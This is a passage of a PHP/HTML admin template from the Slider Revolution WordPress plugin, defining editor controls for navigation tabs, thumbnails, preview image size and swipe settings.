									<div data-type="tabs" class="navaligntrigger tabspos_selector bg_alignselector" data-select="#sr_tabshor,#sr_tabsver" data-val="right,center" id="tabspos_selector_right-center"></div>
								</div>
								<div class="bg_align_row">
									<div data-type="tabs" class="navaligntrigger tabspos_selector bg_alignselector" data-select="#sr_tabshor,#sr_tabsver" data-val="left,bottom" id="tabspos_selector_left-bottom"></div>
									<div data-type="tabs" class="navaligntrigger tabspos_selector bg_alignselector" data-select="#sr_tabshor,#sr_tabsver" data-val="center,bottom" id="tabspos_selector_center-bottom"></div>
									<div data-type="tabs" class="navaligntrigger tabspos_selector bg_alignselector" data-select="#sr_tabshor,#sr_tabsver" data-val="right,bottom" id="tabspos_selector_right-bottom"></div>
								</div>
							</div>
						</onelong>
						<oneshort>
							<label_icon class="ui_x"></label_icon><input class="sliderinput valueduekeyboard  easyinit" data-r="nav.tabs.offsetX" data-evt="sliderNavPositionUpdate" data-evtparam="tabs" data-min="-1200" data-max="1200" type="text" id="nav_tabs_offsetx">
							<label_icon class="ui_y"></label_icon><input class="sliderinput valueduekeyboard  easyinit" data-r="nav.tabs.offsetY" data-evt="sliderNavPositionUpdate" data-evtparam="tabs" data-min="-1200" data-max="1200" type="text" id="nav_tabs_offsety" >
						</oneshort>
					</row>
					<label_a><?php _e('Visible amount', 'revslider');?></label_a><input class="sliderinput valueduekeyboard  easyinit" data-evt="sliderNavPositionUpdate" data-evtparam="tabs" data-r="nav.tabs.amount" data-min="1" data-max="100" type="text" id="nav_tabs_amount" >
				</div>
			</div>



			<div id="form_nav_tabs_size" class="form_inner form_menu_inside open">
				<div class="form_inner_header"><i class="material-icons">photo_size_select_large</i><?php _e('Size', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sr_na_tab_12"><i class="material-icons">arrow_drop_down</i></div>-->
				<div class="collapsable">
					<row class="directrow">
						<onelong><label_icon class="ui_gap"></label_icon><input class="sliderinput valueduekeyboard  easyinit" data-evt="sliderNavPositionUpdate" data-evtparam="tabs" data-r="nav.tabs.space" data-min="-500" data-max="500" type="text" id="nav_tabs_space" ></onelong>
						<oneshort><label_icon class="ui_minwidth"></label_icon><input class="sliderinput valueduekeyboard  easyinit" data-r="nav.tabs.widthMin" data-min="0" data-max="5000" type="text" id="nav_tabs_widthMin" ></oneshort>
					</row>
					<!-- TABS SIZING -->
					<row class="directrow">
						<onelong><label_icon class="ui_width"></label_icon><input class="sliderinput valueduekeyboard  easyinit" data-evt="sliderNavPositionUpdate" data-evtparam="tabs" data-r="nav.tabs.width" data-min="0" data-max="5000" type="text" id="nav_tabs_width" ></onelong>
						<oneshort><label_icon class="ui_height"></label_icon><input class="sliderinput valueduekeyboard  easyinit" data-evt="sliderNavPositionUpdate" data-evtparam="tabs" data-r="nav.tabs.height" data-min="0" data-max="5000" type="text" id="nav_tabs_height" ></oneshort>
					</row>
				</div>
			</div>

			<div id="form_nav_tabs_offsets" class="form_inner form_menu_inside open">
				<div class="form_inner_header"><i class="material-icons">photo_size_select_large</i><?php _e('Mask Offset', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sr_na_tab_19"><i class="material-icons">arrow_drop_down</i></div>-->
				<div class="collapsable">
					<!-- TABS MASK OFFSET -->
					<row class="directrow">
					<onelong><label_icon class="ui_margin_left"></label_icon><input class="sliderinput valueduekeyboard  easyinit" data-evt="sliderNavPositionUpdate" data-evtparam="tabs" data-r="nav.tabs.mhoffset" data-min="0" data-max="500" type="text" id="nav_tabs_mhoffset" ></onelong>
					<oneshort><label_icon class="ui_margin_top"></label_icon><input class="sliderinput valueduekeyboard  easyinit" data-evt="sliderNavPositionUpdate" data-evtparam="tabs" data-r="nav.tabs.mvoffset" data-min="0" data-max="500" type="text" id="nav_tabs_mvoffset" ></oneshort>
					</row>
				</div>
			</div>

			<div id="form_nav_tabs_wrap" class="form_inner form_menu_inside open">
				<div class="form_inner_header"><i class="material-icons">more</i><?php _e('Wrapper', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sr_na_tab_13"><i class="material-icons">arrow_drop_down</i></div>-->
				<div class="collapsable">
					<!-- WRAPPER -->
					<label_a style="padding:0px"><label_icon class="ui_bg"></label_icon></label_a><input type="text" data-editing="Tab Wrapper BG Color" data-evt="sliderTabBgColor" name="sliderTabBgColor" id="sliderTabBgColor" data-visible="true" class="my-color-field sliderinput easyinit" data-r="nav.tabs.wrapperColor" value="transparent">
					<div class="div10"></div>
					<label_a style="padding:0px"><label_icon class="ui_padding"></label_icon></label_a><input class="sliderinput valueduekeyboard  easyinit" data-evt="sliderNavPositionUpdate" data-evtparam="tabs" data-r="nav.tabs.padding" data-min="0" data-max="5000" type="text" id="nav_tabs_padding" >
					<span class="linebreak"></span>
					<label_a><?php _e('Span', 'revslider');?></label_a><input type="checkbox" id="sr_tabspan" class="sliderinput easyinit" data-r="nav.tabs.spanWrapper" data-evt="sliderNavPositionUpdate" data-evtparam="tabs"/>
				</div>
			</div>

			<div id="form_nav_tabs_visi" class="form_inner form_menu_inside open">
				<div class="form_inner_header"><i class="material-icons">visibility</i><?php _e('Tabs Visibility', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sr_na_tab_1"><i class="material-icons">arrow_drop_down</i></div>-->
				<div class="collapsable">
					<label_a><?php _e('Animation', 'revslider');?></label_a><select  id="sr_tabs_animation"  data-r="nav.tabs.anim" class="sliderinput tos2 nosearchbox easyinit">						
						<option value="fade"><?php _e('Fade', 'revslider');?></option>
						<option value="left"><?php _e('From Left', 'revslider');?></option>
						<option value="right"><?php _e('From Right', 'revslider');?></option>
						<option value="top"><?php _e('From Top', 'revslider');?></option>
						<option value="bottom"><?php _e('From Bottom', 'revslider');?></option>
						<option value="zoomin"><?php _e('Zoom In', 'revslider');?></option>
						<option value="zoomout"><?php _e('Zoom Out', 'revslider');?></option>
					</select>
					<label_a><?php _e('Show Speed', 'revslider');?></label_a><input class="sliderinput valueduekeyboard  easyinit" data-numeric="true" data-allowed="ms" data-r="nav.tabs.animSpeed" data-min="1" data-max="10000" type="text" id="nav_tab_animSpeed"><span class="linebreak"></span>
					<label_a><?php _e('Show Delay', 'revslider');?></label_a><input class="sliderinput valueduekeyboard easyinit" data-numeric="true" data-allowed="ms" data-r="nav.tabs.animDelay" data-min="1" data-max="10000" type="text" id="nav_tab_animDelay"><span class="linebreak"></span>					
					<label_a><?php _e('RTL Direction', 'revslider');?></label_a><input type="checkbox"  id="sr_tabsrtl" class="sliderinput easyinit" data-r="nav.tabs.rtl"/><span class="linebreak"></span>
					<row class="directrow">
						<onelong><label_a><?php _e('Show Always', 'revslider');?></label_a><input type="checkbox"  id="sr_tabsalwshow" class="sliderinput easyinit" data-r="nav.tabs.alwaysOn" data-showhide="#nav_tabs_alwaysshow" data-showhidedep="false"/></onelong>
						<oneshort id="nav_tabs_alwaysshow">
							<label_icon class="ui_desktop"></label_icon><input data-numeric="true" data-allowed="ms" class="sliderinput valueduekeyboard  easyinit" data-r="nav.tabs.hideDelay" data-min="0" data-max="5000" type="text" id="nav_tabs_hideDelay"/><span class="linebreak"></span>
							<label_icon class="ui_notebook"></label_icon><input data-numeric="true" data-allowed="ms" class="sliderinput valueduekeyboard  easyinit" data-r="nav.tabs.hideDelayMobile" data-min="0" data-max="5000" type="text" id="nav_tabs_hideDelayMobile"/>
							<div class="div10"></div>
						</oneshort>
					</row>

					<row class="direktrow">
						<onelong><label_a><?php _e('Hide Under', 'revslider');?></label_a><input type="checkbox"  id="sr_tabshideunder" class="sliderinput easyinit" data-r="nav.tabs.hideUnder" data-showhide="#nav_tabs_hideunderlimit_wr" data-showhidedep="true"/></onelong>
						<oneshort id="nav_tabs_hideunderlimit_wr"><label_icon class="ui_maxwidth"></label_icon><input data-numeric="true" data-allowed="px" class="sliderinput valueduekeyboard  easyinit" data-r="nav.tabs.hideUnderLimit" data-min="0" data-max="2400" type="text" id="nav_tabs_hideunderlimit" ></oneshort>
					</row>

					<row class="direktrow">
						<onelong><label_a><?php _e('Hide Over', 'revslider');?></label_a><input type="checkbox"  id="sr_tabshideover" class="sliderinput easyinit" data-r="nav.tabs.hideOver" data-showhide="#nav_tabs_hideoverlimit_wr" data-showhidedep="true"/></onelong>
						<oneshort id="nav_tabs_hideoverlimit_wr"><label_icon class="ui_minwidth"></label_icon><input data-numeric="true" data-allowed="px" class="sliderinput valueduekeyboard  easyinit" data-r="nav.tabs.hideOverLimit" data-min="0" data-max="2400" type="text" id="nav_tabs_hideoverlimit" ></oneshort>
					</row>
				</div>
			</div>

			<div id="form_nav_tabs_style" class="form_inner form_menu_inside open">
				<div class="form_inner_header"><i class="material-icons">palette</i><?php _e('Style Global', 'revslider');?></div>
				<div class="collapsable">
					<div id="sr_tabs_styles_fieldset"></div>
				</div>
			</div>

			<div id="form_nav_tabs_style" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">palette</i><?php _e('Global Style Presets', 'revslider');?></div>
				<div class="collapsable">
					<label_a><?php _e('Preset', 'revslider');?></label_a><select id="sr_tabs_style_preset" data-tags="true" data-r="nav.tabs.preset" class="sliderinput tos2 searchbox easyinit" ></select>
					<label_a></label_a><div data-evt="sliderNavPreset" data-evtparam="tabs" class="callEventButton basic_action_button autosize"><i class="material-icons">save</i><?php _e('Load', 'revslider');?></div>
					<div data-evt="saveNavPreset" data-evtparam="tabs" class="callEventButton basic_action_button autosize"><i class="material-icons">save</i><?php _e('Save', 'revslider');?></div><span class="linebreak"></span>
					<label_a></label_a><div data-evt="deleteNavPreset" data-evtparam="tabs" class="callEventButton basic_action_button autosize"><i class="material-icons">delete</i><?php _e('Delete', 'revslider');?></div>
				</div>
			</div>

			<!-- SLIDE TABS STYLE -->
			<div id="form_slide_nav_tabs" class="form_inner form_menu_inside open">
				<div class="form_inner_header"><i class="material-icons">texture</i><?php _e('Override Style on Slide', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sr_na_tab_21"><i class="material-icons">arrow_drop_down</i></div>-->

				<div class="collapsable carouselenable standardenable herodisable">
					<div id="sl_tabs_styles_fieldset">
					</div>
				</div>
			</div><!-- END OF SLIDE TABS STYLE -->
		</div><!-- END OF TABS SETTINGS -->

		<!--  THUMB SETTING -->
		<div id="form_nav_thumbs" data-select="#gst_nav_5" data-unselect=".nav_submodule_trigger" class="formcontainer form_menu_inside carouselenable standardenable herodisable collapsed">
			<div class="collectortabwrap"><div id="collectortab_form_nav_thumb" class="collectortab form_menu_inside" data-forms='["#form_nav_thumbs"]'><i class="material-icons">filter_frames</i><?php _e('Thumbs', 'revslider');?></div></div>
			<!--<div id="nav_thumbs_settings_arrow" class="form_intoaccordion"><i class="material-icons">arrow_drop_down</i></div>-->
			<ul class="form_menu_level_1">
				<li data-target="#form_nav_thumbs_mainstyle" class="selected form_menu_level_1_li" id="sr_na_thumb_0"><?php _e('Main Style', 'revslider');?></li>
				<li data-target="#form_nav_thumbs_visi" class="selected form_menu_level_1_li" id="sr_na_thumb_1"><?php _e('Visibility', 'revslider');?></li>
				<li data-target="#form_nav_thumbs_posi" class="selected form_menu_level_1_li" id="sr_na_thumb_11"><?php _e('Position', 'revslider');?></li>
				<li data-target="#form_nav_thumbs_size" class="selected form_menu_level_1_li" id="sr_na_thumb_12"><?php _e('Size', 'revslider');?></li>
				<li data-target="#form_nav_thumbs_offsets" class="selected form_menu_level_1_li" id="sr_na_thumb_19"><?php _e('Mask', 'revslider');?></li>
				<li data-target="#form_nav_thumbs_wrap" class="selected form_menu_level_1_li" id="sr_na_thumb_13"><?php _e('Wrapper', 'revslider');?></li>
				<li data-target="#form_nav_thumbs_style" class="form_menu_level_1_li" id="sr_na_thumb_2"><?php _e('Style', 'revslider');?></li>
				<li data-target="#form_slide_nav_thumbs" class="form_menu_level_1_li" id="sr_na_thumb_21"><?php _e('Style', 'revslider');?></li>
			</ul>

			<div id="form_nav_thumbs_mainstyle" class="form_inner form_menu_inside open">
				<div class="form_inner_header"><i class="material-icons">opacity</i><?php _e('Thumb Type', 'revslider');?></div>
				<div class="on_off_navig_wrap"><input type="checkbox"  id="sr_usenavthumbs" class="sliderinput easyinit nav-enable" data-evt="sliderNavUpdate" data-evtparam="thumbs" data-showhide="#thumbs_style_collapsable, #form_nav_thumbs_posi,#form_nav_thumbs_size,#form_nav_thumbs_offsets,#form_nav_thumbs_wrap,#form_nav_thumbs_visi,#form_nav_thumbs_style,#form_slide_nav_thumbs" data-showhidedep="true"  data-r="nav.thumbs.set" /></div>
				<!--<div class="form_intoaccordion" data-trigger="#sr_na_thumb_0"><i class="material-icons">arrow_drop_down</i></div>-->
				<div id="thumbs_style_collapsable" class="collapsable">
					<label_a><?php _e('Thumbs Style', 'revslider');?></label_a><select  id="sr_thumbs_style"  data-evt="sliderNavUpdate" data-evtparam="thumbs" data-r="nav.thumbs.style" class="sliderinput tos2 nosearchbox easyinit sr_nav_style_tos">
						<option value=""><?php _e('No Style', 'revslider');?></option>
					</select>
				</div>
			</div>

			<div id="form_nav_thumbs_posi" class="form_inner form_menu_inside open">
				<div class="form_inner_header"><i class="material-icons">open_with</i><?php _e('Position', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sr_na_thumb_11"><i class="material-icons">arrow_drop_down</i></div>-->
				<div class="collapsable">
					<label_a><?php _e('Orientation', 'revslider');?></label_a>
					<div class="radiooption">
						<input class="sliderinput easyinit" type="radio" name="sr_thumbsdirection" data-evt="sliderNavPositionUpdate" data-evtparam="thumbs" data-r="nav.thumbs.direction" value="horizontal"><label_sub><?php _e('Horizontal', 'revslider');?></label_sub><span class="linebreak"></span>
						<input class="sliderinput easyinit" type="radio" name="sr_thumbsdirection" data-evt="sliderNavPositionUpdate" data-evtparam="thumbs" data-r="nav.thumbs.direction" value="vertical"><label_sub><?php _e('Vertical', 'revslider');?></label_sub>
					</div>
					<div class="div10"></div>

					<!-- thumbs POSITION -->
					<label_a><?php _e('Aligned by', 'revslider');?></label_a>
					<div class="radiooption">
						<input class="sliderinput easyinit" type="radio" name="sr_thumbsalign" data-evt="sliderNavPositionUpdate" data-evtparam="thumbs" data-r="nav.thumbs.align" value="slider"><label_sub><?php _e('Slider', 'revslider');?></label_sub><span class="linebreak"></span>
						<input class="sliderinput easyinit" type="radio" name="sr_thumbsalign" data-evt="sliderNavPositionUpdate" data-evtparam="thumbs" data-r="nav.thumbs.align" value="grid"><label_sub><?php _e('Content', 'revslider');?></label_sub>
					</div>
					<div class="div10"></div>


					<label_a><?php _e('Inner / Outer', 'revslider');?></label_a>
					<div class="radiooption">
						<input class="sliderinput easyinit" type="radio" name="sr_thumbsinnerouter" data-evt="navinnerouter" data-evtparam="thumbs" data-r="nav.thumbs.innerOuter" value="inner"><label_sub><?php _e('Inner', 'revslider');?></label_sub><span class="linebreak"></span>
						<input class="sliderinput easyinit" type="radio" name="sr_thumbsinnerouter" data-evt="navinnerouter" data-evtparam="thumbs" data-r="nav.thumbs.innerOuter" value="outer-vertical"><label_sub><?php _e('Outer Vertical', 'revslider');?></label_sub><span class="linebreak"></span>
						<input class="sliderinput easyinit" type="radio" name="sr_thumbsinnerouter" data-evt="navinnerouter" data-evtparam="thumbs" data-r="nav.thumbs.innerOuter" value="outer-horizontal"><label_sub><?php _e('Outer Horizontal', 'revslider');?></label_sub>
					</div>

					<div class="div20"></div>
					<select style="display:none" data-evt="sliderNavPositionUpdate" data-evtparam="thumbs" id="sr_thumbshor" data-unselect=".thumbspos_selector" data-select="#thumbspos_selector_*val*-*RVAL*" data-rval="settings.nav.thumbs.vertical" class="sliderinput easyinit" data-r="nav.thumbs.horizontal" data-triggerinp="#nav_thumbs_offsetx" data-triggerinpval="0"><option value="left"><?php _e('Left', 'revslider');?></option><option value="center"><?php _e('Center', 'revslider');?></option><option value="right"><?php _e('Right', 'revslider');?></option></select>
					<select style="display:none" data-evt="sliderNavPositionUpdate" data-evtparam="thumbs" id="sr_thumbsver" data-unselect=".thumbspos_selector" data-select="#thumbspos_selector_*RVAL*-*val*" data-rval="settings.nav.thumbs.horizontal" class="sliderinput easyinit" data-r="nav.thumbs.vertical" data-triggerinp="#nav_thumbs_offsety" data-triggerinpval="0"><option value="top"><?php _e('Top', 'revslider');?></option><option value="center"><?php _e('Center', 'revslider');?></option><option value="bottom"><?php _e('Bottom', 'revslider');?></option></select>
					<row class="direktrow">
						<onelong>
							<label_a><?php _e('Aligment', 'revslider');?></label_a>
							<div class="bg_alignselector_wrap">
								<div class="bg_align_row">
									<div data-type="thumbs" class="navaligntrigger thumbspos_selector bg_alignselector" data-select="#sr_thumbshor,#sr_thumbsver" data-val="left,top" id="thumbspos_selector_left-top"></div>
									<div data-type="thumbs" class="navaligntrigger thumbspos_selector bg_alignselector" data-select="#sr_thumbshor,#sr_thumbsver" data-val="center,top" id="thumbspos_selector_center-top"></div>
									<div data-type="thumbs" class="navaligntrigger thumbspos_selector bg_alignselector" data-select="#sr_thumbshor,#sr_thumbsver" data-val="right,top" id="thumbspos_selector_right-top"></div>
								</div>
								<div class="bg_align_row">
									<div data-type="thumbs" class="navaligntrigger thumbspos_selector bg_alignselector" data-select="#sr_thumbshor,#sr_thumbsver" data-val="left,center" id="thumbspos_selector_left-center"></div>
									<div data-type="thumbs" class="navaligntrigger thumbspos_selector bg_alignselector" data-select="#sr_thumbshor,#sr_thumbsver" data-val="center,center" id="thumbspos_selector_center-center"></div>
									<div data-type="thumbs" class="navaligntrigger thumbspos_selector bg_alignselector" data-select="#sr_thumbshor,#sr_thumbsver" data-val="right,center" id="thumbspos_selector_right-center"></div>
								</div>
								<div class="bg_align_row">
									<div data-type="thumbs" class="navaligntrigger thumbspos_selector bg_alignselector" data-select="#sr_thumbshor,#sr_thumbsver" data-val="left,bottom" id="thumbspos_selector_left-bottom"></div>
									<div data-type="thumbs" class="navaligntrigger thumbspos_selector bg_alignselector" data-select="#sr_thumbshor,#sr_thumbsver" data-val="center,bottom" id="thumbspos_selector_center-bottom"></div>
									<div data-type="thumbs" class="navaligntrigger thumbspos_selector bg_alignselector" data-select="#sr_thumbshor,#sr_thumbsver" data-val="right,bottom" id="thumbspos_selector_right-bottom"></div>
								</div>
							</div>
						</onelong>
						<oneshort>
							<label_icon class="ui_x"></label_icon><input class="sliderinput valueduekeyboard  easyinit" data-r="nav.thumbs.offsetX" data-evt="sliderNavPositionUpdate" data-evtparam="thumbs" data-min="-1200" data-max="1200" type="text" id="nav_thumbs_offsetx">
							<label_icon class="ui_y"></label_icon><input class="sliderinput valueduekeyboard  easyinit" data-r="nav.thumbs.offsetY" data-evt="sliderNavPositionUpdate" data-evtparam="thumbs" data-min="-1200" data-max="1200" type="text" id="nav_thumbs_offsety" >
						</oneshort>
					</row>
					<label_a><?php _e('Visible amount', 'revslider');?></label_a><input class="sliderinput valueduekeyboard  easyinit" data-evt="sliderNavPositionUpdate" data-evtparam="thmbs" data-r="nav.thumbs.amount" data-min="1" data-max="100" type="text" id="nav_thumbs_amount" >
				</div>
			</div>

			<div id="form_nav_thumbs_size" class="form_inner form_menu_inside open">
				<div class="form_inner_header"><i class="material-icons">photo_size_select_large</i><?php _e('Size', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sr_na_thumb_12"><i class="material-icons">arrow_drop_down</i></div>-->
				<div class="collapsable">
					<row class="directrow">
						<onelong><label_icon class="ui_gap"></label_icon><input class="sliderinput valueduekeyboard  easyinit" data-evt="sliderNavPositionUpdate" data-evtparam="thumbs" data-r="nav.thumbs.space" data-min="-500" data-max="500" type="text" id="nav_thumbs_space" ></onelong>
						<oneshort><label_icon class="ui_minwidth"></label_icon><input class="sliderinput valueduekeyboard  easyinit" data-r="nav.thumbs.widthMin" data-min="0" data-max="5000" type="text" id="nav_thumbs_widthMin" ></oneshort>
					</row>
					<!-- thumbs SIZING -->
					<row class="directrow">
						<onelong><label_icon class="ui_width"></label_icon><input class="sliderinput valueduekeyboard  easyinit" data-evt="sliderNavPositionUpdate" data-evtparam="thumbs" data-r="nav.thumbs.width" data-min="0" data-max="5000" type="text" id="nav_thumbs_width" ></onelong>
						<oneshort><label_icon class="ui_height"></label_icon><input class="sliderinput valueduekeyboard  easyinit" data-evt="sliderNavPositionUpdate" data-evtparam="thumbs" data-r="nav.thumbs.height" data-min="0" data-max="5000" type="text" id="nav_thumbs_height" ></oneshort>
					</row>

				</div>
			</div>

			<div id="form_nav_thumbs_offsets" class="form_inner form_menu_inside open">
				<div class="form_inner_header"><i class="material-icons">photo_size_select_large</i><?php _e('Mask Offset', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sr_na_tab_19"><i class="material-icons">arrow_drop_down</i></div>-->
				<div class="collapsable">
					<!-- TABS MASK OFFSET -->
					<row class="directrow">
					<onelong><label_icon class="ui_margin_left"></label_icon><input class="sliderinput valueduekeyboard  easyinit" data-evt="sliderNavPositionUpdate" data-evtparam="thumbs" data-r="nav.thumbs.mhoffset" data-min="0" data-max="500" type="text" id="nav_thumbs_mhoffset" ></onelong>
					<oneshort><label_icon class="ui_margin_top"></label_icon><input class="sliderinput valueduekeyboard  easyinit" data-evt="sliderNavPositionUpdate" data-evtparam="thumbs" data-r="nav.thumbs.mvoffset" data-min="0" data-max="500" type="text" id="nav_thumbs_mvoffset" ></oneshort>
					</row>
				</div>
			</div>

			<div id="form_nav_thumbs_wrap" class="form_inner form_menu_inside open">
				<div class="form_inner_header"><i class="material-icons">more</i><?php _e('Wrapper', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sr_na_thumb_13"><i class="material-icons">arrow_drop_down</i></div>-->
				<div class="collapsable">
					<!-- WRAPPER -->
					<label_a style="padding:0px"><label_icon class="ui_bg"></label_icon></label_a><input type="text" data-editing="Thumb Wrapper BG Color" data-evt="sliderThumbBgColor" data-visible="true"  name="sliderThumbBgColor" id="sliderThumbBgColor" class="my-color-field sliderinput easyinit" data-r="nav.thumbs.wrapperColor" value="transparent">
					<div class="div10"></div>
					<label_a style="padding:0px"><label_icon class="ui_padding"></label_icon></label_a><input class="sliderinput valueduekeyboard  easyinit" data-evt="sliderNavPositionUpdate" data-evtparam="thumbs" data-r="nav.thumbs.padding" data-min="0" data-max="5000" type="text" id="nav_thumbs_padding">
					<span class="linebreak"></span>
					<label_a><?php _e('Span', 'revslider');?></label_a><input type="checkbox" id="sr_thumbspan" class="sliderinput easyinit" data-r="nav.thumbs.spanWrapper" data-evt="sliderNavPositionUpdate" data-evtparam="thumbs"/>
				</div>
			</div>

			<div id="form_nav_thumbs_visi" class="form_inner form_menu_inside open">
				<div class="form_inner_header"><i class="material-icons">visibility</i><?php _e('Thumbs Visibility', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sr_na_thumb_1"><i class="material-icons">arrow_drop_down</i></div>-->
				<div class="collapsable">
					<label_a><?php _e('Animation', 'revslider');?></label_a><select  id="sr_thumbs_animation"  data-r="nav.thumbs.anim" class="sliderinput tos2 nosearchbox easyinit">						
						<option value="fade"><?php _e('Fade', 'revslider');?></option>
						<option value="left"><?php _e('From Left', 'revslider');?></option>
						<option value="right"><?php _e('From Right', 'revslider');?></option>
						<option value="top"><?php _e('From Top', 'revslider');?></option>
						<option value="bottom"><?php _e('From Bottom', 'revslider');?></option>
						<option value="zoomin"><?php _e('Zoom In', 'revslider');?></option>
						<option value="zoomout"><?php _e('Zoom Out', 'revslider');?></option>
					</select>
					<label_a><?php _e('Show Speed', 'revslider');?></label_a><input class="sliderinput valueduekeyboard  easyinit" data-numeric="true" data-allowed="ms" data-r="nav.thumbs.animSpeed" data-min="1" data-max="10000" type="text" id="nav_thumb_animSpeed"><span class="linebreak"></span>
					<label_a><?php _e('Show Delay', 'revslider');?></label_a><input class="sliderinput valueduekeyboard easyinit" data-numeric="true" data-allowed="ms" data-r="nav.thumbs.animDelay" data-min="1" data-max="10000" type="text" id="nav_thumb_animDelay"><span class="linebreak"></span>
					<label_a><?php _e('RTL Direction', 'revslider');?></label_a><input type="checkbox"  id="sr_thumbsrtl" class="sliderinput easyinit" data-r="nav.thumbs.rtl"/><span class="linebreak"></span>
					<row class="directrow">
						<onelong><label_a><?php _e('Show Always', 'revslider');?></label_a><input type="checkbox"  id="sr_thumbsalwshow" class="sliderinput easyinit" data-r="nav.thumbs.alwaysOn" data-showhide="#nav_thumbs_alwaysshow" data-showhidedep="false"/></onelong>
						<oneshort id="nav_thumbs_alwaysshow">
							<label_icon class="ui_desktop"></label_icon><input data-numeric="true" data-allowed="ms" class="sliderinput valueduekeyboard  easyinit" data-r="nav.thumbs.hideDelay" data-min="0" data-max="5000" type="text" id="nav_thumbs_hideDelay"/><span class="linebreak"></span>
							<label_icon class="ui_notebook"></label_icon><input data-numeric="true" data-allowed="ms" class="sliderinput valueduekeyboard  easyinit" data-r="nav.thumbs.hideDelayMobile" data-min="0" data-max="5000" type="text" id="nav_thumbs_hideDelayMobile"/>
							<div class="div10"></div>
						</oneshort>
					</row>



					<row class="direktrow">
						<onelong><label_a><?php _e('Hide Under', 'revslider');?></label_a><input type="checkbox"  id="sr_thumbshideunder" class="sliderinput easyinit" data-r="nav.thumbs.hideUnder" data-showhide="#nav_thumbs_hideunderlimit_wr" data-showhidedep="true"/></onelong>
						<oneshort id="nav_thumbs_hideunderlimit_wr"><label_icon class="ui_maxwidth"></label_icon><input data-numeric="true" data-allowed="px" class="sliderinput valueduekeyboard  easyinit" data-r="nav.thumbs.hideUnderLimit" data-min="0" data-max="2400" type="text" id="nav_thumbs_hideunderlimit" ></oneshort>
					</row>

					<row class="direktrow">
						<onelong><label_a><?php _e('Hide Over', 'revslider');?></label_a><input type="checkbox"  id="sr_thumbshideover" class="sliderinput easyinit" data-r="nav.thumbs.hideOver" data-showhide="#nav_thumbs_hideoverlimit_wr" data-showhidedep="true"/></onelong>
						<oneshort id="nav_thumbs_hideoverlimit_wr"><label_icon class="ui_minwidth"></label_icon><input data-numeric="true" data-allowed="px" class="sliderinput valueduekeyboard  easyinit" data-r="nav.thumbs.hideOverLimit" data-min="0" data-max="2400" type="text" id="nav_thumbs_hideoverlimit" ></oneshort>
					</row>
				</div>
			</div>

			<div id="form_nav_thumbs_style" class="form_inner form_menu_inside open">
				<div class="form_inner_header"><i class="material-icons">palette</i><?php _e('Style Global', 'revslider');?></div>
				<div class="collapsable">
					<div id="sr_thumbs_styles_fieldset"></div>
				</div>
			</div>

			<div id="form_nav_thumbs_style" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">palette</i><?php _e('Global Style Presets', 'revslider');?></div>
				<div class="collapsable">
					<label_a><?php _e('Preset', 'revslider');?></label_a><select id="sr_thumbs_style_preset" data-tags="true" data-r="nav.thumbs.preset" class="searchbox sliderinput tos2 easyinit" ></select>
					<label_a></label_a><div data-evt="sliderNavPreset" data-evtparam="thumbs" class="callEventButton basic_action_button autosize"><i class="material-icons">save</i><?php _e('Load', 'revslider');?></div>
					<div data-evt="saveNavPreset" data-evtparam="thumbs" class="callEventButton basic_action_button autosize"><i class="material-icons">save</i><?php _e('Save', 'revslider');?></div><span class="linebreak"></span>
					<label_a></label_a><div data-evt="deleteNavPreset" data-evtparam="thumbs" class="callEventButton basic_action_button autosize"><i class="material-icons">delete</i><?php _e('Delete', 'revslider');?></div>
				</div>
			</div>

			<!-- SLIDE THUMBS STYLE -->
			<div id="form_slide_nav_thumbs" class="form_inner form_menu_inside open">
				<div class="form_inner_header"><i class="material-icons">texture</i><?php _e('Override Style on Slide', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sr_na_thumb_21"><i class="material-icons">arrow_drop_down</i></div>-->

				<div class="collapsable carouselenable standardenable herodisable">
					<div id="sl_thumbs_styles_fieldset">
					</div>
				</div>
			</div><!-- SLIDE THUMBS STYLE -->

		</div><!-- END OF THUMB SETTINGS -->

		<!-- PREVIEW IMAGE SETTINGS -->
		<div id="form_nav_pprevima" data-select="#gst_nav_6" data-unselect=".nav_submodule_trigger" class="formcontainer form_menu_inside collapsed">
			<div class="collectortabwrap"><div id="collectortab_form_pprevima" class="collectortab form_menu_inside" data-forms='["#form_nav_pprevima"]'><i class="material-icons">image</i><?php _e('Nav Image Dimensions', 'revslider');?></div></div>
			<!--<div class="form_intoaccordion"><i class="material-icons">arrow_drop_down</i></div>-->
			<div class="form_inner">
				<div class="form_inner_header"><i class="material-icons">image</i><?php _e('Preview Image', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sr_na_thumb_11"><i class="material-icons">arrow_drop_down</i></div>				-->
				<div class="collapsable" style="display:block;padding-bottom:0px">
					
					<!--<longoption><i class="material-icons">language</i><label_a ><?php _e('Image from Stream if exists', 'revslider');?></label_a><input type="checkbox" class="easyinit slideinput" data-r="thumb.fromStream"></longoption>-->
					<row>
						<onelong><label_icon class="ui_width"></label_icon><input class="sliderinput valueduekeyboard  easyinit"  data-allowed="px" data-numeric="true" data-r="nav.preview.width" data-min="0" data-max="1024" type="text" id="nav_prev_width" ></onelong>
						<oneshort><label_icon class="ui_height"></label_icon><input class="sliderinput valueduekeyboard  easyinit"  data-allowed="px" data-numeric="true"  data-r="nav.preview.height" data-min="0" data-max="1024" type="text" id="nav_prev_height" ></oneshort>
					</row>					
					
				</div>
			</div>
		</div><!-- PREVIEW IMAGE SETTINGS END -->

		<!-- TOUCH  SETTINGS -->
		<div id="form_nav_touch" data-select="#gst_nav_7" data-unselect=".nav_submodule_trigger" class="formcontainer form_menu_inside collapsed carouselenable standardenable herodisable">
			<div class="collectortabwrap"><div id="collectortab_form_touch" class="collectortab form_menu_inside" data-forms='["#form_nav_touch"]'><i class="material-icons">pan_tool</i><?php _e('Swipe Settings', 'revslider');?></div></div>
